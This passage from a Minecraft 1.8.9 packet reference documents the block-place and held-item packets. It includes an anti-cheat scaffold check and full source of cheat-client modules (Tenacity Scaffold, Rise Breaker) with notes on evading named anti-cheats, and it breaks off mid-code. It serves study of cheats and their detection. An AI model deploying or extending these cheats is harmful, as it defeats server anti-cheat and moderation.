       "code_source": "Updated-NoCheatPlus-NoCheatPlus, NCPCore/src/main/java/fr/neatmonster/nocheatplus/checks/blockplace/BlockPlaceListener.java",
       "variations": "AntiCheatPlus and DynamicDev's BlockListener expose the same fastplace/direction checks; Rammelkast's BlockListener and Arc's BlockActionListener are the 1.8-generation equivalents."
      },
      {
       "name": "ScaffoldA (FlopAC)",
       "found_in": [
        "JTXOfficial-FlopAC"
       ],
       "purpose": "Hit-vector scaffold check: a real scaffold click sequence must vary the face and cursor vector as the player moves.",
       "how_it_works": "On BLOCK_PLACE it reads the cursor vector (vecX, vecY, vecZ) and the face ordinal from the wrapped packet. When the yaw is changing and the block below the target position is air, it expects a non-constant click pattern: a face between 0 and 3 with a perpetual 0.5/0.5 vector is the scaffold signature, accumulating a violation level that flags at 4 consecutive hits, otherwise the level decays.",
       "detects": "Scaffold cheats that always click the same face center, and tower/scaffold modules that keep a constant hit vector while moving.",
       "detailed_code": "// ===== FILE: JTXOfficial-FlopAC, src/main/java/me/jtx/flopac/checks/misc/scaffold/ScaffoldA.java =====\npackage me.jtx.flopac.checks.misc.scaffold;\n\nimport me.jtx.flopac.base.check.api.Check;\nimport me.jtx.flopac.base.check.api.CheckInformation;\nimport me.jtx.flopac.base.event.PacketEvent;\nimport me.jtx.flopac.base.user.User;\nimport me.jtx.flopac.tinyprotocol.api.Packet;\nimport me.jtx.flopac.tinyprotocol.packet.in.WrappedInBlockPlacePacket;\nimport org.bukkit.Material;\n\n@CheckInformation(checkName = \"Scaffold\", lagBack = false, punishmentVL = 10)\npublic class ScaffoldA extends Check {\n\n    private double vl;\n\n    @Override\n    public void onPacket(PacketEvent event) {\n        switch (event.getType()) {\n            case Packet.Client.BLOCK_PLACE: {\n                User user = event.getUser();\n\n                WrappedInBlockPlacePacket blockPlace =\n                        new WrappedInBlockPlacePacket(event.getPacket(), user.getPlayer());\n\n                if (user.shouldCancel() || user.getTick() < 60) {\n                    vl = 0;\n                    return;\n                }\n\n                float vecX = blockPlace.getVecX();\n                float vecY = blockPlace.getVecY();\n                float vecZ = blockPlace.getVecZ();\n\n\n                int faceInt = blockPlace.getFace().b();\n\n                double yaw = Math.abs(user.getCurrentLocation().getYaw() - user.getLastLocation().getYaw());\n\n                if (yaw > 0) {\n                    if (user.getBlockPlaced().getLocation().add(0, -1, 0).getBlock().getType() == Material.AIR) {\n                        if (faceInt >= 0 && faceInt <= 3) {\n                            if (vecX == 0.5 && vecY == 0.5 || vecZ == 0.5 && vecY == 0.5) {\n                                if (++vl > 4) {\n                                    flag(user, \"Constant HitVec\");\n                                }\n                            } else {\n                                vl -= Math.min(vl, 0.5f);\n                            }\n                        } else {\n                            vl -= Math.min(vl, 0.72f);\n                        }\n                    }\n                }\n                break;\n            }\n        }\n    }\n}\n// NOTE (AI): FlopAC ScaffoldA is a 1.8 hit-vector check: with a moving yaw and an air block below the target position, it expects the place face and vector to change; a constant 0.5/0.5 hit vector on horizontal faces is the scaffold signature.\n",
       "code_source": "JTXOfficial-FlopAC, src/main/java/me/jtx/flopac/checks/misc/scaffold/ScaffoldA.java",
       "variations": "The ScaffoldB through ScaffoldM checks in the same package add rotation, position, speed and raycast variants; Frequency ScaffoldA and Truthful's scaffold family use the same hit-vector idea on their own wrappers."
      }
     ]
    }
   },
   "wiki_notes": [
    "The cursor position fields range from 0 to 1 across the block face, increasing west to east on X, bottom to top on Y and north to south on Z, so for example the Y value decides whether a slab against a face becomes a bottom slab or a top slab. The inside-block flag is true when the player eyes are inside a block collision box.",
    "MCP 1.8.9 C08PacketPlayerBlockPlacement implements Packet<INetHandlerPlayServer> dispatching to INetHandlerPlayServer.processPlayerBlockPlacement; wire serde is readPacketData/writePacketData via readBlockPos, readItemStackFromBuffer, readUnsignedByte.",
    "1.8.9 callers: PlayerControllerMP.onPlayerRightClick sends new C08PacketPlayerBlockPlacement (line 424): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/multiplayer/PlayerControllerMP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/C08PacketPlayerBlockPlacement/",
   "mcp_path": "net/minecraft/network/play/client/C08PacketPlayerBlockPlacement.java",
   "group": "play-server",
   "logic_classes": [
    "PlayerControllerMP"
   ]
  },
  {
   "id": "C09PacketHeldItemChange",
   "hex": "0x09",
   "dec": 9,
   "dir": "SERVERBOUND",
   "state": "PLAY",
   "name": "Held Item Change",
   "desc": "Player changes their selected hotbar slot.",
   "tags": [
    "player",
    "inventory",
    "item"
   ],
   "fields": [
    {
     "name": "slotId",
     "type": "short",
     "desc": "The hotbar slot being selected (0-8)"
    }
   ],
   "encoding": [
    [
     "Slot ID",
     "short",
     "Hotbar slot 0-8"
    ]
   ],
   "mcp": [
    "NetHandlerPlayServer.processHeldItemChange()"
   ],
   "handler": "INetHandlerPlayServer",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "C09 carries one int: the hotbar slot index the client is switching to. The server's processHeldItemChange validates 0 <= slot < 9 and sets the player's currentItem, which changes the server-side held item used for reach, damage, block breaking and what other players see. It is the cheapest stateful packet in the play state: no position, no timestamp, so clients can spam it freely, which is exactly why silent-switch modules rely on it."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayServer.processHeldItemChange: if the slot is within the hotbar, set inventory.currentItem and mark the player active; otherwise log a warning. The client-side vanilla path is EntityPlayerSP/PlayerControllerMP updating the slot when the user scrolls. Because the server trusts the packet entirely, any module that sends C09 with a different slot than the visible one desynchronizes the server's view of the held item."
     },
     {
      "h": "Why clients touch it",
      "p": "Three families across the ten clients. (1) Silent switching: Scaffold (Tenacity ScaffoldModule, Rise 5.99 Scaffold, Sigma Scaffold) sends C09 to the block slot while the visible hotbar stays put, and cancels incoming C09 echoes. (2) Tool/weapon automation: Rise 6.2.4 NewNewBreaker switches to the best tool before breaking, KillAura (Rise 6.2.4/6.1.30) swaps weapons for 1.9+ style switching. (3) Consumable routing: AutoPotion/AutoSoup/AutoGap/AutoHead/AutoEat (Memeware, Rise 5.99, Sigma) switch to the food/potion slot, use the item, then switch back. November Recode 2.0 adds an InventoryManager that tracks the C09/S09 streams and re-syncs the slot, and a NoSlowDown that switches away and back; LiquidSense Dev's AutoHead, AutoArmor, AutoADL and the NoFall MLG save all use the silent-switch pair."
     },
     {
      "h": "Exploit surface",
      "p": "The packet is unthrottled, so modules can switch slots 20 times per tick. The detectability comes from the server comparing the packet slot to the client's own S09PacketHeldItemChange echoes and to attack/place packets: an aura that attacks with a sword while C09 says a block is held gets flagged by rotation+slot correlation checks. Silent switch modules therefore cancel the visible slot change or re-send it after the action."
     }
    ],
    "overview": "The slot-switch packet that silent everything depends on. Scaffold switches to blocks invisibly, breakers grab the best tool, and consumable modules hop to the potion slot and back. The server trusts the int, so the entire game is keeping the visible slot in sync with the action slot.",
    "server_handling": "processHeldItemChange validates the slot range and sets inventory.currentItem. There is no rate limit and no validation against the client's last known slot. The side effect is that the server-side held item drives entity equipment broadcasts (S04PacketEntityEquipment) and the player's attack/place behavior.",
    "protocol_notes": "Single VarInt slot field. Sent in PLAY state only. Vanilla sends it on scroll wheel input; modules send it via PacketUtil.sendPacket, addToSendQueue, or addToSendQueueNoEvent (Tenacity). Silent-switch modules cancel the packet when it matches the player's real current slot so the visible hotbar never moves.",
    "anticheat_landscape": "Anti-cheats correlate C09 with C02/C08/C07: switching to a sword then attacking with reach is normal, but attacking while the C09 stream says a block is held trips slot-consistency checks on Verus and newer NCP. The fix in clients is to send C09 to the weapon slot before the attack and back after, or to cancel the switch entirely and spoof the attack slot.",
    "modules": [
     {
      "name": "Scaffold (silent switch)",
      "found_in": [
       "Tenacity 6.0",
       "Rise 5.99",
       "Sigma 4.11",
       "November Recode 2.0",
       "LiquidSense Dev"
      ],
      "purpose": "Switch the server-side held item to the block slot without moving the visible hotbar.",
      "how_it_works": "Tenacity ScaffoldModule sends C09 to the target slot via addToSendQueueNoEvent (line ~80), cancels incoming C09 packets that would reveal the switch (line ~150), and restores the original slot with a second C09 (line ~183). Rise 5.99 Scaffold sends C09 only when the computed block slot differs from the player's current slot, and cancels all C09 on the send event.",
      "detailed_code": "// ===== FILE: Tenacity 6.0, dev/tenacity/module/impl/player/ScaffoldModule.java =====\npackage dev.tenacity.module.impl.player;\n\nimport dev.tenacity.event.IEventListener;\nimport dev.tenacity.event.impl.packet.PacketSendEvent;\nimport dev.tenacity.event.impl.player.BlockPlaceableEvent;\nimport dev.tenacity.event.impl.player.MotionEvent;\nimport dev.tenacity.module.Module;\nimport dev.tenacity.module.ModuleCategory;\nimport dev.tenacity.setting.impl.BooleanSetting;\nimport dev.tenacity.setting.impl.ModeSetting;\nimport dev.tenacity.setting.impl.NumberSetting;\nimport dev.tenacity.util.misc.ChatUtil;\nimport dev.tenacity.util.misc.MathUtil;\nimport dev.tenacity.util.misc.RaycastUtil;\nimport dev.tenacity.util.misc.TimerUtil;\nimport dev.tenacity.util.player.InventoryUtil;\nimport dev.tenacity.util.player.MovementUtil;\nimport dev.tenacity.util.player.RotationUtil;\nimport net.minecraft.block.BlockAir;\nimport net.minecraft.block.material.Material;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C09PacketHeldItemChange;\nimport net.minecraft.network.play.client.C0APacketAnimation;\nimport net.minecraft.network.play.client.C0BPacketEntityAction;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumFacing;\nimport net.minecraft.util.MovingObjectPosition;\nimport net.minecraft.util.Vec3;\nimport org.lwjgl.input.Keyboard;\nimport org.lwjgl.util.vector.Vector2f;\n\npublic final class ScaffoldModule extends Module {\n\n    private final BooleanSetting sprint = new BooleanSetting(\"Sprint\", true),\n            swing = new BooleanSetting(\"Swing\", true),\n            rotate = new BooleanSetting(\"Rotate\", true),\n            tower = new BooleanSetting(\"Tower\", true);\n\n    private final NumberSetting searchRange = new NumberSetting(\"Search Range\", 3, 1, 6, 1),\n            bruteForceRayCastIntensity = new NumberSetting(\"Brute Force Intensity\", 5, 1, 10, 1);\n\n    private final ModeSetting switchItemMode = new ModeSetting(\"Switch Item Mode\", \"Client\", \"Server\"),\n            swingMode = new ModeSetting(\"Swing Mode\", \"Client\", \"Server\"),\n            rotationMode = new ModeSetting(\"Rotation Mode\", \"Enum\", \"Brute Force RayCast\"),\n            towerMode = new ModeSetting(\"Tower Mode\", \"Vanilla\", \"BlocksMC\", \"Verus\", \"Vulcan\");\n\n    private BlockCache blockCache, lastBlockCache;\n    private int startSlot, slot, lastSlot;\n    private final TimerUtil timerUtil = new TimerUtil();\n\n    private float yaw, pitch;\n\n    public ScaffoldModule() {\n        super(\"Scaffold\", \"Automatically bridges for you\", ModuleCategory.PLAYER);\n        swingMode.addParent(swing, BooleanSetting::isEnabled);\n        rotationMode.addParent(rotate, BooleanSetting::isEnabled);\n        towerMode.addParent(tower, BooleanSetting::isEnabled);\n        bruteForceRayCastIntensity.addParent(rotationMode, rotation -> rotationMode.isMode(\"Brute Force RayCast\"));\n        initializeSettings(sprint, searchRange, rotate, rotationMode, bruteForceRayCastIntensity, switchItemMode, swing, swingMode, tower, towerMode);\n    }\n\n    private final IEventListener<BlockPlaceableEvent> onBlockPlaceableEvent = event -> {\n        placeBlock();\n    };\n\n    private final IEventListener<MotionEvent> onMotionEvent = event -> {\n        slot = InventoryUtil.getBlockSlot();\n\n        if(sprint.isEnabled())\n            mc.gameSettings.keyBindSprint.pressed = true;\n        else {\n            mc.gameSettings.keyBindSprint.pressed = false;\n            mc.thePlayer.setSprinting(false);\n        }\n\n        if(slot != -1) {\n            if(switchItemMode.isMode(\"Client\") && mc.thePlayer.inventory.currentItem != slot)\n                mc.thePlayer.inventory.currentItem = slot;\n            if(switchItemMode.isMode(\"Server\") && lastSlot != slot) {\n                mc.getNetHandler().addToSendQueueNoEvent(new C09PacketHeldItemChange(slot));\n                lastSlot = slot;\n            }\n        }\n\n        if(event.isPre()) {\n            blockCache = getBlockCache();\n            if(blockCache != null)\n                lastBlockCache = blockCache;\n\n            final float sensitivityMultiplier = RotationUtil.getSensitivityMultiplier();\n            final float fixedYaw = yaw - yaw % sensitivityMultiplier;\n            final float fixedPitch = pitch - pitch % sensitivityMultiplier;\n\n            event.setYaw(fixedYaw);\n            event.setPitch(fixedPitch);\n\n            // Have to do this or else watchdog will delete your blocks\n            if(mc.thePlayer.onGround) {\n                mc.thePlayer.motionX *= 0.91f;\n                mc.thePlayer.motionZ *= 0.91f;\n            }\n\n            if(tower.isEnabled() && mc.gameSettings.keyBindJump.isKeyDown() && blockCache != null) {\n                switch (towerMode.getCurrentMode()) {\n                    case \"Vanilla\":\n                        mc.thePlayer.motionY = 0.42f;\n                        break;\n                }\n                switch (towerMode.getCurrentMode()) {\n                    case \"BlocksMC\":\n                        if (Keyboard.isKeyDown(Keyboard.KEY_SPACE)) {\n                            mc.thePlayer.motionY = 0.42f;\n                        }\n                        if (Keyboard.isKeyDown(Keyboard.KEY_W) || Keyboard.isKeyDown(Keyboard.KEY_A) || Keyboard.isKeyDown(Keyboard.KEY_D) || Keyboard.isKeyDown(Keyboard.KEY_S)) {\n                            mc.thePlayer.motionY = 0.15f;\n                        }\n                        switch (towerMode.getCurrentMode()) {\n                            case \"Verus\":\n                                if (Keyboard.isKeyDown(Keyboard.KEY_SPACE)) {\n                                    mc.thePlayer.motionY = MathUtil.getRandomInRange(0.4, 0.5);\n                                    if (mc.thePlayer.serverSprintState) {\n                                        mc.getNetHandler().addToSendQueueNoEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING));\n                                        mc.thePlayer.serverSprintState = false;\n                                    } else {\n                                        mc.getNetHandler().addToSendQueueNoEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SPRINTING));\n                                        mc.thePlayer.serverSprintState = false;\n                                    }\n                                    if (timerUtil.hasTimeElapsed(4000, true)) {\n                                        ChatUtil.error(\"Warning, towering further may result in a silent flag, please proceed with caution\");\n                                    }\n                                }\n                        }\n                        switch (towerMode.getCurrentMode()) {\n                            case \"Vulcan\":\n                                if (Keyboard.isKeyDown(Keyboard.KEY_SPACE)) {\n                                    mc.thePlayer.motionY = 0.2f;\n                                    if (timerUtil.hasTimeElapsed(4000, true)) {\n                                        ChatUtil.error(\"Warning, towering further may result in a silent flag, please proceed with caution\");\n                                    }\n                                }\n\n                        }\n                }\n            }\n\n        }\n    };\n\n    private final IEventListener<PacketSendEvent> onPacketSendEvent = event -> {\n        if(event.getPacket() instanceof C09PacketHeldItemChange) {\n            final C09PacketHeldItemChange c09 = (C09PacketHeldItemChange) event.getPacket();\n            if(switchItemMode.isMode(\"Server\")) {\n                startSlot = c09.getSlotId();\n                event.cancel();\n            }\n        }\n    };\n\n    @Override\n    public void onEnable() {\n        if (mc == null || mc.thePlayer == null) {\n            return;\n        }\n        if (mc.thePlayer.inventory == null) {\n            return;\n        }\n\n        startSlot = mc.thePlayer.inventory.currentItem;\n        slot = lastSlot = -1;\n        blockCache = lastBlockCache = null;\n\n        yaw = MovementUtil.getMoveYaw() + 180;\n        pitch = 80;\n        super.onEnable();\n    }\n\n    @Override\n    public void onDisable() {\n        if(mc.thePlayer.inventory.currentItem != startSlot || lastSlot != startSlot) {\n            if(switchItemMode.isMode(\"Client\"))\n                mc.thePlayer.inventory.currentItem = startSlot;\n            else\n                mc.getNetHandler().addToSendQueueNoEvent(new C09PacketHeldItemChange(startSlot));\n        }\n        super.onDisable();\n    }\n\n    private void placeBlock() {\n        if(blockCache == null || lastBlockCache == null || slot == -1) return;\n\n        if(mc.playerController.onPlayerRightClick(mc.thePlayer, mc.theWorld, mc.thePlayer.inventory.getStackInSlot(slot),\n                lastBlockCache.getBlockPos(), lastBlockCache.getEnumFacing(), getHitVec())) {\n\n            if(rotate.isEnabled())\n                updateRotations();\n\n            if(swing.isEnabled()) {\n                if(swingMode.isMode(\"Client\"))\n                    mc.thePlayer.swingItem();\n                else\n                    mc.getNetHandler().addToSendQueue(new C0APacketAnimation());\n            }\n\n        }\n        blockCache = null;\n    }\n\n    private void updateRotations() {\n        switch(rotationMode.getCurrentMode()) {\n            case \"Enum\":\n                this.yaw = (float) lastBlockCache.getEnumFacing().angleFromEnumFacing() - 180;\n                this.pitch = 77;\n                break;\n            case \"Brute Force RayCast\":\n                for (float yaw = MovementUtil.getMoveYaw() - 180; yaw < MovementUtil.getMoveYaw() + 180; yaw += bruteForceRayCastIntensity.getCurrentValue()) {\n                    for (float pitch = 90; pitch > -90; pitch -= bruteForceRayCastIntensity.getCurrentValue()) {\n                        final MovingObjectPosition cursor = RaycastUtil.getMouseOver(new Vector2f(yaw, pitch), searchRange.getCurrentValue());\n                        if (cursor != null && cursor.typeOfHit == MovingObjectPosition.MovingObjectType.BLOCK) {\n                            BlockPos pos = cursor.getBlockPos();\n                            if (pos.getX() == lastBlockCache.getBlockPos().getX() && pos.getY() == lastBlockCache.getBlockPos().getY() && pos.getZ() == lastBlockCache.getBlockPos().getZ()) {\n                                this.yaw = yaw;\n                                this.pitch = pitch;\n                                break;\n                            }\n                        }\n                    }\n                }\n                break;\n        }\n    }\n\n    private Vec3 getHitVec() {\n        double x = lastBlockCache.getBlockPos().getX() + 0.5,\n                y = lastBlockCache.getBlockPos().getY() + 0.5,\n                z = lastBlockCache.getBlockPos().getZ() + 0.5;\n\n        if(lastBlockCache.getEnumFacing() != EnumFacing.UP && lastBlockCache.getEnumFacing() != EnumFacing.DOWN) {\n            y += 0.5;\n        } else {\n            x += 0.3;\n            z += 0.3;\n        }\n\n        if(lastBlockCache.getEnumFacing() == EnumFacing.SOUTH || lastBlockCache.getEnumFacing() == EnumFacing.NORTH)\n            x += 0.15;\n        if(lastBlockCache.getEnumFacing() == EnumFacing.EAST || lastBlockCache.getEnumFacing() == EnumFacing.WEST)\n            z += 0.15;\n\n        return new Vec3(x, y, z);\n    }\n\n    private BlockCache getBlockCache() {\n        final BlockPos belowBlockPos = new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 1, mc.thePlayer.posZ);\n        if (mc.theWorld.getBlockState(belowBlockPos).getBlock() instanceof BlockAir) {\n            for (int x = 0; x < searchRange.getCurrentValue(); x++) {\n                for (int z = 0; z < searchRange.getCurrentValue(); z++) {\n                    for (int i = 1; i > -3; i -= 2) {\n                        final BlockPos blockPos = belowBlockPos.add(x * i, 0, z * i);\n                        if (mc.theWorld.getBlockState(blockPos).getBlock() instanceof BlockAir) {\n                            for (final EnumFacing direction : EnumFacing.values()) {\n                                final BlockPos block = blockPos.offset(direction);\n                                final Material material = mc.theWorld.getBlockState(block).getBlock().getMaterial();\n                                if (material.isSolid() && !material.isLiquid())\n                                    return new BlockCache(block, direction.getOpposite());\n                            }\n                        }\n                    }\n                }\n            }\n        }\n        return null;\n    }\n\n    public static final class BlockCache {\n\n        private final BlockPos blockPos;\n        private final EnumFacing enumFacing;\n\n        public BlockCache(final BlockPos blockPos, final EnumFacing enumFacing) {\n            this.blockPos = blockPos;\n            this.enumFacing = enumFacing;\n        }\n\n        public BlockPos getBlockPos() {\n            return blockPos;\n        }\n\n        public EnumFacing getEnumFacing() {\n            return enumFacing;\n        }\n    }\n\n}\n\n// NOTE (AI): Tenacity 6.0 ScaffoldModule: complete file. Silent C09 switch (line ~80), cancellation of C09 echoes (lines ~150-151), restore-to-start-slot (line ~183), plus C0B sprint toggling around placement (lines ~122-125).\n",
      "code_source": "Tenacity 6.0, dev/tenacity/module/impl/player/ScaffoldModule.java",
      "vanilla_hook": "MotionEvent for placement + switch; PacketSendEvent to cancel C09 echoes.",
      "anti_cheat_notes": "The visible-hotbar cancellation makes the server see a different slot than spectators; servers that mirror S09 back detect the mismatch. Block placement with a silently-switched slot is otherwise indistinguishable from a scroll.",
      "variations": "Rise 5.99 Scaffold.java sends C09 through PacketUtil.sendPacketWithoutEvent and cancels all C09 in onPacketSend; Sigma 4.11 Scaffold.java includes its own switch logic. Rise 6.2.4/6.1.30 Scaffold do not construct C09 directly (Slot component + custom packets). November Recode 2.0's ScaffoldModule switches to the block slot through the raw send queue (guarded by InventoryManager.slot()) and restores via InventoryManager.sync() on disable. LiquidSense Dev's Scaffold sends C09 to the block slot before the placement, intercepts incoming C09 echoes on its packet event, and switches back after the place."
     },
     {
      "name": "NewNewBreaker (AutoTool)",
      "found_in": [
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Break blocks (including through walls) while automatically switching to the best tool via C09.",
      "how_it_works": "Finds the target block with a raycast or surroundings scan, computes the best tool slot with SlotUtil, sends C09 to that slot, digs with C07, then switches back to the original slot. On attack events it also swaps to the weapon slot. The breaker mode determines target selection (Through Walls / Surroundings).",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/player/NewNewBreaker.java =====\npackage com.alan.clients.module.impl.player;\n\nimport com.alan.clients.component.impl.player.RotationComponent;\nimport com.alan.clients.component.impl.player.Slot;\nimport com.alan.clients.component.impl.player.rotationcomponent.MovementFix;\nimport com.alan.clients.component.impl.render.NotificationComponent;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.Priorities;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PreUpdateEvent;\nimport com.alan.clients.event.impl.other.AttackEvent;\nimport com.alan.clients.event.impl.other.TeleportEvent;\nimport com.alan.clients.event.impl.other.WorldChangeEvent;\nimport com.alan.clients.event.impl.render.Render2DEvent;\nimport com.alan.clients.event.impl.render.Render3DEvent;\nimport com.alan.clients.module.Module;\nimport com.alan.clients.module.api.Category;\nimport com.alan.clients.module.api.ModuleInfo;\nimport com.alan.clients.util.packet.PacketUtil;\nimport com.alan.clients.util.player.PlayerUtil;\nimport com.alan.clients.util.player.SlotUtil;\nimport com.alan.clients.util.render.RenderUtil;\nimport com.alan.clients.util.rotation.RotationUtil;\nimport com.alan.clients.util.vector.Vector2f;\nimport com.alan.clients.value.impl.BooleanValue;\nimport com.alan.clients.value.impl.ModeValue;\nimport com.alan.clients.value.impl.NumberValue;\nimport com.alan.clients.value.impl.SubMode;\nimport lombok.Getter;\nimport net.minecraft.block.Block;\nimport net.minecraft.block.BlockAir;\nimport net.minecraft.block.BlockBed;\nimport net.minecraft.client.entity.EntityPlayerSP;\nimport net.minecraft.client.gui.ScaledResolution;\nimport net.minecraft.network.play.client.C07PacketPlayerDigging;\nimport net.minecraft.network.play.client.C09PacketHeldItemChange;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumFacing;\nimport net.minecraft.util.MovingObjectPosition;\nimport net.minecraft.util.Vec3;\nimport org.lwjgl.opengl.GL11;\n\nimport java.awt.*;\nimport java.util.ArrayList;\n\n@ModuleInfo(aliases = {\"module.player.breaker.name\"}, description = \"module.player.breaker.description\", category = Category.PLAYER)\npublic class NewNewBreaker extends Module {\n    public final ModeValue mode = new ModeValue(\"Mode\", this)\n            .add(new SubMode(\"Through Walls\"))\n            .add(new SubMode(\"Surroundings\"))\n            .setDefault(\"Through Walls\");\n    private final NumberValue Range = new NumberValue(\"Range\", this, 4, 1, 5, 0.1);\n\n    public final BooleanValue rotate = new BooleanValue(\"Rotate\", this, true);\n    public final BooleanValue movementCorrection = new BooleanValue(\"Movement Correction\", this, false);\n    public final BooleanValue whitelistFriendlyBed = new BooleanValue(\"Whitelist Friendly Bed\", this, false);\n\n    public final BooleanValue hitCheck = new BooleanValue(\"Aura Check\", this, false);\n    private final NumberValue fastBreakNormal = new NumberValue(\"FastBreak\", this, 0, 0, 1, 0.1);\n    private final NumberValue fastBreakBed = new NumberValue(\"FastBreak bed\", this, 0, 0, 1, 0.1);\n    private final NumberValue airMultipalyer = new NumberValue(\"Air Multiplier\", this, 1, 0, 3, 0.1);\n\n    private float hardness;\n    private float damagetoblock;\n\n    private int attackTicks;\n    private boolean notify = true;\n    private int usedItem, delay, rotateTime;\n    private Vec3 teleport;\n\n    private BlockPos coordsBed;\n    private BlockPos blockToBreak;\n\n    @Getter\n    boolean breaking = false;\n    @Override\n    public void onDisable() {\n        mc.playerController.curBlockDamageMP = 0;\n    }\n    @Override\n    public void onEnable() {\n        hardness = 0;\n        damagetoblock = 0;\n    }\n    @EventLink(value = Priorities.VERY_HIGH)\n    public final Listener<WorldChangeEvent> onWorldChange = event -> {\n        notify = true;\n    };\n    @EventLink(value = Priorities.VERY_HIGH)\n    public final Listener<TeleportEvent> onTeleport = event -> {\n        if (mc.thePlayer.getDistance(event.getPosX(), event.getPosY(), event.getPosZ()) > 30) {\n            if (notify) {\n                notify = false;\n                NotificationComponent.post(\"Breaker\",\"Whitelisted bed\");\n            }\n            teleport = new Vec3(event.getPosX(), event.getPosY(), event.getPosZ());\n        }\n    };\n\n    @EventLink(value = Priorities.VERY_HIGH)\n    public final Listener<PreUpdateEvent> onPreUpdate = event -> {\n        Module scaffold = getModule(Scaffold.class);\n        if (scaffold == null || scaffold.isEnabled()) {\n            return;\n        }\n        EntityPlayerSP player = mc.thePlayer;\n        attackTicks++;\n        delay--;\n        if (delay > 0 || (whitelistFriendlyBed.getValue() && teleport != null && player.getDistanceSq(teleport.xCoord, teleport.yCoord, teleport.zCoord) < 1500)) {\n            return;\n        }\n\n        boolean foundbed = false;\n        int bedX = 0;\n        int bedY = 0;\n        int bedZ = 0;\n        for (int x = -Range.getValue().intValue()+1; x <= Range.getValue().intValue()+1; x++) {\n            for (int y = -Range.getValue().intValue()+1; y <= Range.getValue().intValue()+1; y++) {\n                for (int z = -Range.getValue().intValue()+1; z <= Range.getValue().intValue()+1; z++) {\n                    Block block = PlayerUtil.blockRelativeToPlayer(x, y, z);\n                    if (block instanceof BlockBed) {\n                        foundbed = true;\n                        bedX = x;\n                        bedY = y;\n                        bedZ = z;\n                        BlockPos blockPos = new BlockPos(player.posX + x, player.posY + y, player.posZ + z);\n                        if (damagetoblock <= 0) {\n                            if (coordsBed != null) {\n                                if (blockPos.distanceSq(mc.thePlayer.getPosition()) < coordsBed.distanceSq(mc.thePlayer.getPosition())) {\n                                    coordsBed = blockPos;\n                                }\n                            } else {\n                                coordsBed = blockPos;\n                            }\n                        }\n                    }\n                }\n            }\n        }\n        ArrayList<BlockPos> nearblocks = new ArrayList<>();\n\n        if (foundbed) {\n            breaking = true;\n            int airblocks = 0;\n            nearblocks.add(new BlockPos(bedX + 1, bedY, bedZ));\n            nearblocks.add(new BlockPos(bedX - 1, bedY, bedZ));\n            nearblocks.add(new BlockPos(bedX, bedY, bedZ + 1));\n            nearblocks.add(new BlockPos(bedX, bedY, bedZ - 1));\n            nearblocks.add(new BlockPos(bedX, bedY + 1, bedZ));\n\n            for (int i = 0; i < nearblocks.size(); i++) {\n                BlockPos blockPos = nearblocks.get(i);\n                Block block = PlayerUtil.blockRelativeToPlayer(blockPos.getX(), blockPos.getY(), blockPos.getZ());\n                if (block instanceof BlockBed) {\n                    nearblocks.remove(i);\n                    nearblocks.add(new BlockPos(blockPos.getX() + 1, blockPos.getY(), blockPos.getZ()));\n                    nearblocks.add(new BlockPos(blockPos.getX() - 1, blockPos.getY(), blockPos.getZ()));\n                    nearblocks.add(new BlockPos(blockPos.getX(), blockPos.getY(), blockPos.getZ() + 1));\n                    nearblocks.add(new BlockPos(blockPos.getX(), blockPos.getY(), blockPos.getZ() - 1));\n                    nearblocks.add(new BlockPos(blockPos.getX(), blockPos.getY() + 1, blockPos.getZ()));\n                    break;\n                }\n            }\n            for (int i = 0; i < nearblocks.size(); i++) {\n                BlockPos blockPos = nearblocks.get(i);\n                Block block = PlayerUtil.blockRelativeToPlayer(blockPos.getX(), blockPos.getY(), blockPos.getZ());\n                if (block instanceof BlockAir) {\n                    airblocks++;\n                }\n            }\n            if (airblocks > 0 || !this.mode.getValue().getName().equals(\"Surroundings\")) {\n                blockToBreak = coordsBed;\n            } else {\n                float minHardness = 99999999;\n\n                for (BlockPos blockPos : nearblocks) {\n                    Block block = PlayerUtil.blockRelativeToPlayer(blockPos.getX(), blockPos.getY(), blockPos.getZ());\n                    if (block.getBlockHardness() < minHardness && !(block instanceof BlockBed)) {\n                        minHardness = block.getBlockHardness();\n                        if (damagetoblock <= 0) {\n                            blockToBreak = new BlockPos(player.posX + blockPos.getX(), player.posY + blockPos.getY(), player.posZ + blockPos.getZ());\n                        }\n                    }\n                }\n                for (int i = 0; i < nearblocks.size(); i++) {\n                    BlockPos blockPos = nearblocks.get(i);\n                    Block block = PlayerUtil.blockRelativeToPlayer(blockPos.getX(), blockPos.getY(), blockPos.getZ());\n                    if (minHardness == block.getBlockHardness() && blockPos.add(player.getPosition()).distance(player.getPosition()) < blockToBreak.distance(player.getPosition())) {\n                        if (damagetoblock <= 0) {\n                            blockToBreak = new BlockPos(player.posX + blockPos.getX(), player.posY + blockPos.getY(), player.posZ + blockPos.getZ());\n                        }\n                    }\n                }\n            }\n            if (blockToBreak.distance(player.getPosition()) <= Range.getValue().floatValue()) {\n                if (rotate.getValue()) {\n                    rotate(blockToBreak);\n                }\n//                player.swingItem();\n                int slot = SlotUtil.findTool(blockToBreak);\n//                final BlockDamageEvent bdEvent = new BlockDamageEvent(this.mc.thePlayer, this.mc.thePlayer.worldObj, blockToBreak);\n//                Client.INSTANCE.getEventBus().handle(bdEvent);\n                if (slot != -1) PacketUtil.send(new C09PacketHeldItemChange(slot));\n                if (slot != -1) hardness = SlotUtil.getPlayerRelativeBlockHardness(player, mc.theWorld, blockToBreak, slot);\n                else hardness = SlotUtil.getPlayerRelativeBlockHardness(player, mc.theWorld, blockToBreak, getComponent(Slot.class).getItemIndex());\n                if (!mc.thePlayer.onGround) hardness *= airMultipalyer.getValue().floatValue();\n\n                if 